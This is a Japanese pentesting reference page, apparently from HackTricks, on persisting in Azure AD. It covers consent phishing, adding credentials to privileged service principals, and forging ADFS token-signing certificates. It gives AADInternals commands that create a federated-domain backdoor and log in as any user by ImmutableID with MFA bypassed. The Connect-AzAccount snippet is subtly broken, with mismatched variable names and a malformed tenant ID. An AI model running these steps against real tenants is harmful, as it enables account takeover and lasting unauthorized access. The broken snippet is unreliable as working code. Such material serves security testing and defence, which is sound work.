Az - Persistence
{{#include ../../../banners/hacktricks-training.md}}
不正な同意の付与
デフォルトでは、任意のユーザーがAzure ADにアプリケーションを登録できます。したがって、高い影響を持つ権限が必要なアプリケーション(ターゲットテナント専用)を登録できます。管理者の同意が必要です(管理者であれば承認できます) - 例えば、ユーザーの代理でメールを送信したり、役割管理を行ったりします。これにより、成功した場合に非常に有益な****フィッシング攻撃を実行することができます。
さらに、アクセスを維持する手段として、ユーザーとしてそのアプリケーションを受け入れることもできます。
アプリケーションとサービスプリンシパル
アプリケーション管理者、GA、またはmicrosoft.directory/applications/credentials/update権限を持つカスタムロールの特権を持つ場合、既存のアプリケーションに資格情報(シークレットまたは証明書)を追加できます。
高い権限を持つアプリケーションをターゲットにすることも、高い権限を持つ新しいアプリケーションを追加することも可能です。
アプリケーションに追加するのに興味深い役割は、特権認証管理者ロールです。これは、グローバル管理者のパスワードをリセットすることを可能にします。
この技術は、MFAをバイパスすることも可能です。
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
- 証明書ベースの認証のために
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
Federation - Token Signing Certificate
DA権限を持つオンプレミスADでは、非常に長い有効期限を持つ新しいトークン署名およびトークン復号化証明書を作成およびインポートすることが可能です。これにより、ImmutableIDを知っている任意のユーザーとしてログインすることができます。
ADFSサーバーでDAとして以下のコマンドを実行して新しい証明書を作成し(デフォルトのパスワードは'AADInternals')、それらをADFSに追加し、自動ロールオーバーを無効にし、サービスを再起動します:
New-AADIntADFSSelfSignedCertificates
次に、Azure ADで証明書情報を更新します:
Update-AADIntADFSFederationSettings -Domain cyberranges.io
Federation - Trusted Domain
テナントにGA権限がある場合、新しいドメインを追加することが可能です(確認が必要です)、その認証タイプをFederatedに設定し、ドメインを特定の証明書(以下のコマンドのany.sts)および発行者を信頼するように設定します:
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID
# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true
参考文献
{{#include ../../../banners/hacktricks-training.md}}